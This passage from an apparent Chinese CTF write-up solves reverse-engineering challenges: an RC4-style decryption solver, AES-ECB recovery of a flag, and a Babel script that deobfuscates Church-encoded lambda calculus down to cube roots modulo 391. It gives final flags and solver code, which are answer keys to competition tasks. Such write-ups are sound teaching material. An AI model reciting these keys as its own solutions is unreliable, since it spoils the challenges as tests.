$result = @(38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616)
for ($k = 0; $k -lt $result.Length; $k++) {
    if ($encrypted1Text[$k] -ne $result[$k]) {
        Set-Content -Path "log.txt" -Value "ERROR"
 exit

}
Set-Content -Path "log.txt" -Value "RIGHT"

可以发现enenenenen函数是ksa+rpga,enenenenen1则是调用了前者对输入和key进行反复加密(加密Key的部分密钥不变),enenenenen2是一个加法操作,enenenenen3则是乘法操作,逆推即可。

key1 = [0x70, 0x6f, 0x77, 0x65, 0x72]
key2 = [0x70, 0x30, 0x77, 0x65, 0x72]
key3 = [0x70, 0x30, 0x77, 0x33, 0x72]
output=[38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616]

def ksa(s,key):
    ls=[i for i in range(256)]
    j=0
    for i in range(256):
        j=(j+ls[i]+key[i%len(key)])%256
        ls[i],ls[j]=ls[j],ls[i]
    ll=[]
    i2,i3=0,0
    for i in range(len(s)):
        i2=(i2+1)%256
        i3=(i3+ls[i2])%256
        ls[i2],ls[i3]=ls[i3],ls[i2]
        ll.append((ls[(ls[i2]+ls[i3])%256])^s[i])
    return ll

for i in range(len(output)):
    output[i]-=2*key2[i%len(key2)]
    output[i]//=key3[i%len(key3)]
    output[i]-=3*key2[i%len(key2)]

key=output[-5:]
flag=output[:36]
key=ksa(key,flag)
flag=ksa(flag,key)
print('flag{',end='')
print(''.join(map(chr,flag)),end='')
print('}')

babyre

在IDA中查看,发现是接受一串数据并对其进行处理,查看后发现第一个函数是标准的AES ECB加密,第二个函数是将顺序和加密后的结果进行拆分存储,最后一个函数则是读取存储的数以及顺序并进行判断。

image

首先可以根据一下部分推出v5-v15所有可能的值,其中v8v7v6v5是顺序,v15v14v13v12v11v10v9是加密后的数据。

image

AES ECB解密即可

#其中一组数据
v5=1
v6=1
v8=0
v9=0
v10=1
v12=0
v13=0
v14=0
v15=1
v16=1
v11=0
v7=0

print(hex(int((str(v9)+str(v10)+str(v11)+str(v12)+str(v13)+str(v14)+str(v15)+str(v16))[::-1],2)))#原始数据
print(int(str(v8)+str(v7)+str(v6)+str(v5),2))#顺序

ls=[0]*16
ls[6]=0xb2
ls[10]=0x4a
ls[15]=0x48
ls[14]=0xa
ls[0]=0x12
ls[7]=0x4c
ls[5]=0x4
ls[1]=0x8f
ls[11]=0xcf
ls[8]=0x5b
ls[9]=0xba
ls[13]=0x36
ls[6]=0xb2
ls[12]=0x11
ls[4]=0x85
ls[3]=0xc2
ls[2]=0xec
#ls=[0x12,0x8f,0xec,0xc2,0x85,0x04,0xb2,0x4c,0x5b,0xba,0x4a,0xcf,0x11,0x36,0x0a,0x48]

from Crypto.Cipher import AES
key_le = b'\x35\x77\x40\x2E\xCC\xA4\x4A\x3F\x9A\xB7\x21\x82\xF9\xB0\x1F\x35'
cipher = AES.new(key_le, AES.MODE_ECB)
hex_string = '\\x12\\x8f\\xec\\xc2\\x85\\x04\\xb2\\x4c\\x5b\\xba\\x4a\\xcf\\x11\\x36\\x0a\\x48'
encrypted_data = bytes.fromhex(hex_string.replace('\\x', ''))
decrypted_data = cipher.decrypt(encrypted_data)
print(decrypted_data)

#'\x4d\x87\xef\x03\x77\xbb\x49\x1a\x80\xf5\x46\x20\x24\x58\x07\xc4'
#flag{4d87ef03-77bb-491a-80f5-4620245807c4}

决赛

Reverse

ooo

Day 1

换成了 JavaScript 的箭头函数,看着舒服一点,还可以用 Babel

  1. 删去所有 lambda
  2. 把所有的 : 替换为 =>
  3. 变量名替换
c1=>c2=>c3=>c4=>c5=>c6=>c7=>c8=>c9=>c10=>c11=>c12=>c13=>c14=>c15=>c16=>(a1=>a2=>(b1=>b2=>b1(b2)(c1=>c2=>c2))((b1=>b2=>(c1=>c1(c2=>d1=>d2=>d2)(c2=>d1=>c2))((c1=>c2=>c2(d1=>d2=>d3=>d1(d4=>d5=>d5(d4(d2)))(d4=>d3)(d4=>d4))(c1))(b2)(b1)))(a1)(a2))((b1=>b2=>(c1=>c1(c2=>d1=>d2=>d2)(c2=>d1=>c2))((c1=>c2=>c2(d1=>d2=>d3=>d1(d4=>d5=>d5(d4(d2)))(d4=>d3)(d4=>d4))(c1))(b1)(b2)))(a1)(a2)))((a1=>(a2=>a1(b1=>a2(a2)(b1)))(a2=>a1(b1=>a2(a2)(b1))))(a1=>a2=>b1=>b2=>(c1=>c2=>c1(d1=>d2=>d1)(c2))((c1=>(c2=>c2(d1=>d2=>d1))(c1))(b1))((c1=>(c2=>c2(d1=>d2=>d1))(c1))(b2))(c1=>c2=>d1=>d1)(c1=>(c2=>d1=>c2(d2=>d3=>d4=>d3(d2(d3)(d4)))(d1))(a1(a2)((c2=>(d1=>d1(d2=>d3=>d3))((d1=>d1(d2=>d3=>d3))(c2)))(b1))((c2=>(d1=>d1(d2=>d3=>d3))((d1=>d1(d2=>d3=>d3))(c2)))(b2)))(a2((c2=>(d1=>d1(d2=>d3=>d2))((d1=>d1(d2=>d3=>d3))(c2)))(b1))((c2=>(d1=>d1(d2=>d3=>d2))((d1=>d1(d2=>d3=>d3))(c2)))(b2))))(c1=>c2=>c2))(a1=>a2=>(b1=>b2=>b1(b2)(c1=>c2=>c2))((b1=>b2=>(c1=>c1(c2=>d1=>d2=>d2)(c2=>d1=>c2))((c1=>c2=>c2(d1=>d2=>d3=>d1(d4=>d5=>d5(d4(d2)))(d4=>d3)(d4=>d4))(c1))(b1)(b2)))(a1)((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))(b1=>b2=>b2)))))))))))))))((b1=>b2=>(c1=>c2=>c1(c2)(d1=>d2=>d2))((c1=>c2=>(d1=>d1(d2=>d3=>d4=>d4)(d2=>d3=>d2))((d1=>d2=>d2(d3=>d4=>d5=>d3(e1=>e2=>e2(e1(d4)))(e1=>d5)(e1=>e1))(d1))(c2)(c1)))(b1)(b2))((c1=>c2=>(d1=>d1(d2=>d3=>d4=>d4)(d2=>d3=>d2))((d1=>d2=>d2(d3=>d4=>d5=>d3(e1=>e2=>e2(e1(d4)))(e1=>d5)(e1=>e1))(d1))(c1)(c2)))(b1)(b2)))((b1=>(b2=>b1(c1=>b2(b2)(c1)))(b2=>b1(c1=>b2(b2)(c1))))(b1=>b2=>c1=>c2=>(d1=>d1(d2=>d3=>d4=>d4)(d2=>d3=>d2))(c1)(d1=>d2=>d2)(d1=>(d2=>(d3=>d2(d4=>d3(d3)(d4)))(d3=>d2(d4=>d3(d3)(d4))))(d2=>d3=>d4=>(d5=>e1=>(e2=>e2(e3=>e4=>e5=>e5)(e3=>e4=>e3))((e2=>e3=>e3(e4=>e5=>e8=>e4(e6=>e7=>e7(e6(e5)))(e6=>e8)(e6=>e6))(e2))((e2=>e3=>e4=>e3(e2(e3)(e4)))(d5))(e1)))(d3)(d4)(d5=>d3)(d5=>d2((e1=>e2=>e2(e3=>e4=>e5=>e3(e8=>e6=>e6(e8(e4)))(e8=>e5)(e8=>e8))(e1))(d3)(d4))(d4))(d5=>e1=>e1))((d2=>d3=>d4=>d2(d3(d4)))(b1(b2)((d2=>d3=>d4=>d2(d5=>e1=>e1(d5(d3)))(d5=>d4)(d5=>d5))(c1))(c2))(b2))(c2))(d1=>d2=>d2))(a1)(b1=>b2=>b1(b1(b1(b2))))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))((b1=>b2=>c1=>b1(b2(c1)))(b1=>b2=>b1(b1(b2)))((b1=>b2=>c1=>b2(b1(b2)(c1)))(b1=>b2=>b2)))))))))))))))(a2))(b1=>b1)(b1=>b2=>b2))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>(b1=>b2=>c1=>c1(b1)(b2))(b1=>b2=>b2)((b1=>b2=>c1=>c1(b1)(b2))(a2)(a1)))((a1=>a2=>b1=>b1(a1)(a2))(a1=>a2=>a1)(a1=>a2=>a1))(c16))(c15))(c14))(c13))(c12))(c11))(c10))(c9))(c8))(c7))(c6))(c5))(c4))(c3))(c2))(c1))((a1=>(a2=>a1(b1=>a2(a2)(b1)))(a2=>a1(b1=>a2(a2)(b1))))(a1=>a2=>b1=>(b2=>c1=>(c2=>c2(d1=>d2=>d3=>d3)(d1=>d2=>d1))((c2=>d1=>d1(d2=>d3=>d4=>d2(d5=>e1=>e1(d5(d3)))(d5=>d4)(d5=>d5))(c2))(c1)(b2)))(a2)(b1)(b2=>(c1=>c2=>d1=>d1(c1)(c2))(c1=>c2=>c1)(c1=>c2=>c1))(b2=>(c1=>c2=>(d1=>d2=>d3=>d3(d1)(d2))(d1=>d2=>d2)((d1=>d2=>d3=>d3(d1)(d2))(c2)(c1)))(a1((c1=>c2=>d1=>c2(c1(c2)(d1)))(a2))(b1))(a2))(b2=>c1=>b2))(a1=>a2=>a1(a1(a1(a2))))((a1=>a2=>b1=>a2(a1(a2)(b1)))((a1=>a2=>b1=>a1(a2(b1)))(a1=>a2=>a1(a1(a2)))((a1=>a2=>a2(a1))(a1=>a2=>a1(a1(a1(a2))))(a1=>a2=>a1(a1(a2))))))))((a1=>a2=>b1=>a1(a2(b1)))((a1=>a2=>b1=>a2(a1(a2)(b1)))(a1=>a2=>a1(a1(a1(a2)))))((a1=>a2=>b1=>a2(a1(a2)(b1)))(a1=>a2=>a1(a1(a1(a2))))))(true)(false)

下方的内容已经过时,可以直接看 Day 2 的自动反混淆部分。

注意到一些反复出现的模式,把它们单独拎出来命名:

  1. Church Number
const f0 = f => x => x
const f1 = f => x => f(x)
const f2 = f => x => f(f(x))
const f3 = f => x => f(f(f(x)))
  1. 乘法运算符:mul(f_i)(f_j) = f_{i*j}
const mul = a => b => f => a(b(f))
  1. +1 运算符:inc(f_i) = f_{i+1}
const inc = f => g => x => g(f(g)(x))

结合上述两个性质,可以先把这个东西化简了(一共出现两次)

(inc)((mul)(f2)((inc)((mul)(f2)((inc)((mul)(f2)((mul)(f2)((mul)(f2)((mul)(f2)((mul)(f2)((inc)((mul)(f2)((inc)(f0)))))))))))))

1+(2*(1+(2*(1+(2*(2*(2*(2*(2*(1+(2*(1+(0)))))))))))))

最后得到是 f_{391} 。

  1. 幂运算符:pow(f_i)(f_j) = f_{i^j} (只出现一次)
const pow = f => g => g(f)
  1. 这个不知道有啥用,先替换一下(补充:还真有用。叫做 CONS
const xyf = x => y => f => f(x)(y)
  1. truefalseλ 表达式
const TRUE = x => y => x
const FALSE = x => y => y
  1. Y 组合子
const Y = f => (a => f(b => a(a)(b)))(a => f(b => a(a)(b)))

Day 2

之前大部分工作都是靠人类智慧化简,然而做完了才在 Github 上面找到一个神秘仓库,看样子就是用这个仓库做的混淆。于是对照仓库中的函数命名写了自动化脚本。

const { readFileSync } = require('fs')
const parser = require('@babel/parser')
const traverse = require('@babel/traverse').default
const generate = require('@babel/generator').default
const t = require('@babel/types')

let code = readFileSync('encrypted.js', 'utf-8')
const ast = parser.parse(code)

const isSameType = (type, node1, node2) => t[type](node1) && t[type](node2)

/**
 * 递归匹配 AST 节点和模式。
 *
 * 此函数检查给定的 `ast` 是否匹配 `pattern` 的结构和内容。
 * 它支持匹配箭头函数、函数调用和标识符。
 *
 * @param {import('@babel/types').Expression} ast - 要匹配的 AST 节点
 * @param {import('@babel/types').Expression} pattern - 匹配模式
 * @returns {boolean} - 如果节点匹配模式,则返回 `true`,否则返回 `false`。
 */
function recursive_match(ast, pattern, dict = new Map()) {
  if (isSameType('isArrowFunctionExpression', pattern, ast)) {
    return (
      ast.params.length === pattern.params.length &&
      ast.params.every((param, index) =>
        recursive_match(param, pattern.params[index], dict)
      ) &&
      recursive_match(ast.body, pattern.body, dict)
    )
  }
  if (isSameType('isCallExpression', pattern, ast)) {
    return (
      recursive_match(ast.callee, pattern.callee, dict) &&
      ast.arguments.length === pattern.arguments.length &&
      ast.arguments.every((arg, index) =>
        recursive_match(arg, pattern.arguments[index], dict)
      )
    )
  }
  if (t.isIdentifier(ast)) {
    if (t.isStringLiteral(pattern)) return pattern.value === ast.name
    if (t.isIdentifier(pattern)) {
      if (!dict.has(pattern.name)) {
        dict.set(pattern.name, ast.name)
        return true
      }
      return dict.get(pattern.name) === ast.name
    }
  }
  return false
}

/**
 * 替换 AST 中的表达式。
 *
 * @param {import('@babel/types').File} ast - 要遍历的抽象语法树。
 * @param {string} expression - 要匹配的表达式字符串。
 * @param {string} replacement - 用于替换的表达式字符串。
 */
function replace(ast, expression, replacement) {
  const from = parser.parseExpression(expression)
  const target = parser.parseExpression(replacement)

  traverse(ast, {
    [from.type](path) {
      if (recursive_match(path.node, from)) path.replaceWith(target)
      // 本来以为可能有 MUL(a)(b) 这种需要动态替换变量名的情况,
      // 但是实际上不需要,直接文本替换 MUL 就很好使了。
      //
      // const dict = new Map()
      // if (recursive_match(path.node, from, dict)) {
      //   const replacement = t.cloneNode(target)
      //   traverse(
      //     replacement,
      //     {
      //       Identifier(path) {
      //         const { node } = path
      //         if (dict.has(node.name)) {
      //           node.name = dict.get(node.name)
      //         }
      //       },
      //     },
      //     path.scope
      //   )
      //   path.replaceWith(replacement)
      // }
    },
  })
}

// Combinator
replace(
  ast,
  'f => (x => f(y => x(x)(y)))(x => f(y => x(x)(y)))',
  'Y_Combinator'
)

// Bool
replace(ast, 't => f => t', 'TRUE')
replace(ast, 't => f => f', 'FALSE')

replace(ast, 'x => y => x(y)(_)', 'AND')
replace(ast, 'x => y => x(_)(y)', 'OR')

// Aritmetic
replace(ast, 'n => f => x => f(n(f)(x))', 'SUCC')
replace(ast, 'n => f => x => n(g => h => h(g(f)))(_ => x)(e => e)', 'PRED')

replace(ast, 'a => b => b("SUCC")(a)', 'ADD')
replace(ast, 'a => b => b("PRED")(a)', 'SUB')
replace(ast, 'a => b => f => a(b(f))', 'MUL')
replace(ast, 'a => b => b(a)', 'POW')

// Order
replace(ast, 'a => a(_ => "FALSE")("TRUE")', 'ISZERO')
replace(ast, 'a => b => "ISZERO"("SUB"(b)(a))', 'GTE')
replace(ast, 'a => b => "ISZERO"("SUB"(a)(b))', 'LTE')
replace(ast, 'a => b => "ISZERO"("SUB"("SUCC"(b))(a))', 'GT')
replace(ast, 'a => b => "ISZERO"("SUB"("SUCC"(a))(b))', 'LT')
replace(ast, 'a => b => "AND"("GTE"(a)(b))("LTE"(a)(b))', 'EQ')

// Number
replace(ast, 'f => x => f(f(x))', 'TWO')
replace(ast, 'f => x => f(f(f(x)))', 'THREE')

// FIX: Magic number
replace(
  ast,
  'SUCC(MUL(TWO)(SUCC(MUL(TWO)(SUCC(MUL(TWO)(MUL(TWO)(MUL(TWO)(MUL(TWO)(MUL(TWO)(SUCC(MUL(TWO)(SUCC(FALSE)))))))))))))',
  'NUM_391'
)

// Pair
replace(ast, 'a => b => s => s(a)(b)', 'CONS')
replace(ast, 'p => p("TRUE")', 'CAR')
replace(ast, 'p => p("FALSE")', 'CDR')

// List
replace(ast, '"CONS"("TRUE")("TRUE")', 'LIST')
replace(ast, 'list => "CAR"(list)', 'EMPTY')
replace(ast, 'list => "CAR"("CDR"(list))', 'HEAD')
replace(ast, 'list => "CDR"("CDR"(list))', 'TAIL')
replace(ast, 'list => x => "CONS"("FALSE")("CONS"(x)(list))', 'PREPEND')

// High level functions
replace(
  ast,
  '"Y_Combinator"(f => a => b => "LT"(a)(b)(_1 => a)(_2 => f("SUB"(a)(b))(b))("FALSE"))',
  'MOD'
)

replace(
  ast,
  '"Y_Combinator"(f => list => x => "EMPTY"(list)(_1 => "PREPEND"(list)(x))(_2 => "CONS"("FALSE")("CONS"("HEAD"(list))(f("TAIL"(list))(x))))("TRUE"))',
  'APPEND'
)
replace(
  ast,
  '"Y_Combinator"(f => a => b => "GTE"(a)(b)(_1 => "LIST")(_2 => "PREPEND"(f("SUCC"(a))(b))(a))("TRUE"))',
  'RANGE'
)

console.log(generate(ast).code)

反混淆后可以得到下面的代码:

EQ(
  Y_Combinator(
    a1 => a2 => b1 => b2 =>
      OR(EMPTY(b1))(EMPTY(b2))(c1 => FALSE)(c1 =>
        (
          c2 => d1 =>
            c2(SUCC)(d1)
        )(a1(a2)(TAIL(b1))(TAIL(b2)))(a2(HEAD(b1))(HEAD(b2)))
      )(FALSE)
  )(
    a1 => a2 =>
      AND(LTE(a1)(NUM_391))(
        EQ(
          Y_Combinator(
            b1 => b2 => c1 => c2 =>
              ISZERO(c1)(FALSE)(d1 => MOD(MUL(b1(b2)(PRED(c1))(c2))(b2))(c2))(
                FALSE
              )
          )(a1)(THREE)(NUM_391)
        )(a2)
      )(b1 => b1)(FALSE)
  )(
    PREPEND(
      PREPEND(
        PREPEND(
          PREPEND(
            PREPEND(
              PREPEND(
                PREPEND(
                  PREPEND(
                    PREPEND(
                      PREPEND(
                        PREPEND(
                          PREPEND(
                            PREPEND(
                              PREPEND(
                                PREPEND(
                                  PREPEND(
                                    LIST
                                  )(c16)
                                )(c15)
                              )(c14)
                            )(c13)
                          )(c12)
                        )(c11)
                      )(c10)
                    )(c9)
                  )(c8)
                )(c7)
              )(c6)
            )(c5)
          )(c4)
        )(c3)
      )(c2)
    )(c1)
  )(RANGE(THREE)(SUCC(MUL(TWO)(POW(THREE)(TWO)))))
)(MUL(SUCC(THREE))(SUCC(THREE)))(true)(false)

重新命名一下:

EQ(
  Y_Combinator(
    f => judge_func => A => B =>
      OR(EMPTY(A))(EMPTY(B))(() => 0)(() =>
        (
          c2 => d1 =>
            c2(SUCC)(d1)
        )(f(judge_func)(TAIL(A))(TAIL(B)))(judge_func(HEAD(A))(HEAD(B)))
      )(0)
  )(
    input => expect =>
      AND(LTE(input)(391))(
        EQ(
          Y_Combinator(
            f => n => i => mod =>
              ISZERO(i)(e => _ => _)(() => MOD(MUL(f(n)(PRED(i))(mod))(n))(mod))(0)
          )(input)(3)(391)
        )(expect)
      )(_ => _)(0)
  )(
    PREPEND(
      PREPEND(
        PREPEND(
          PREPEND(
            PREPEND(
              PREPEND(
                PREPEND(
                  PREPEND(
                    PREPEND(
                      PREPEND(
                        PREPEND(
                          PREPEND(
                            PREPEND(
                              PREPEND(
                                PREPEND(
                                  PREPEND(
                                    LIST
                                  )(c16)
                                )(c15)
                              )(c14)
                            )(c13)
                          )(c12)
                        )(c11)
                      )(c10)
                    )(c9)
                  )(c8)
                )(c7)
              )(c6)
            )(c5)
          )(c4)
        )(c3)
      )(c2)
    )(c1)
  )(RANGE(3)(19))
)(16)(true)(false)

APPEND 改成数组,把 EQORAND 等等函数换为对应的运算符:

其中 RANGE(3)(19) = [3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18]

注意 ISZERO(i)(e => _ => _)(...)(0) 这里的 e => _ => _ 并不是 FALSE ,因为在最后有一个调用 (0) ,实际上应该变为 i == 0 ? (e => _ => _)(0) : (...)(0) 也就是 _ => _

(Y_Combinator(f => judge_func => A => B => {
  if (A.empty() || B.empty()) {
    return 0
  } else {
    return (
      c2 => d1 =>
        c2(SUCC)(d1)
    )(f(judge_func)(TAIL(A))(TAIL(B)))(judge_func(HEAD(A))(HEAD(B)))
  }
})(input => expect => {
  input <= 391 &&
  EQ(
    Y_Combinator(f => n => i => mod => {
      return i == 0 ? (_ => _) : (() => (f(n)(i - 1)(mod) * n) % mod)(0)
    })(input)(3)(391)
  )(expect)
    ? _ => _
    : 0
})
  ([c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, c14, c15, c16])
  ([ 3,  4,  5,  6,  7,  8,  9, 10, 11,  12,  13,  14,  15,  16,  17,  18])
) == 16 ? true : false

注意到第一部分声明了一个循环函数,使用传入的 judge_func 依次检查十六个数是否满足要求,然后返回 _ => _ 或者 0,所以我们只关注中间部分即可:

input => expect => {
  return (
    input <= 391 &&
    Y_Combinator(f => n => i => mod => {
      return i == 0 ? (_ => _) : (() => (f(n)(i - 1)(mod) * n) % mod)(0)
    })(input)(3)(391) == expect
  )
}

发现输入的数字不能超过 391,接着看里面的循环,它的结果需要等于 range(3, 19) 中对应的数字:

f = (n, i, mod) => {
  if (i == 0) return _ => _
  return (() => (f(n, i - 1, mod) * n) % mod)(0)
}
f(input, 3, 391)

里面有个立刻执行函数,拆掉:

f = (n, i, mod) => {
  if (i == 0) return _ => _
  return (f(n, i - 1, mod) * n) % mod
}
f(input, 3, 391)

mod 从始至终都没变,所以也可以省略:

f = (n, i) => {
  if (i == 0) return _ => _
  return (f(n, i - 1) * n) % 391
}
f(input, 3)
= f(input, 2) * input % 391
= f(input, 1) * input * input % 391
= f(input, 0) * input * input * input % 391

因为 _ => _ 是一个单位元,此处可以认为是 1 ,于是逻辑分析完毕:

input <= 391 && input ** 3 % 391 == expect

其中第 1 个数字对应 expect = 3 ,第 2 个对应 expect=4 ,以此类推,直接暴力查找逆元即可。

最后找到这十六个数是

[58, 302, 249, 192, 14, 2, 236, 258, 148, 312, 225, 316, 366, 101, 153, 188]

直接输入会发现嵌套层数过多,无法在有限时间内验算出来,只好删掉演算直接输出 flag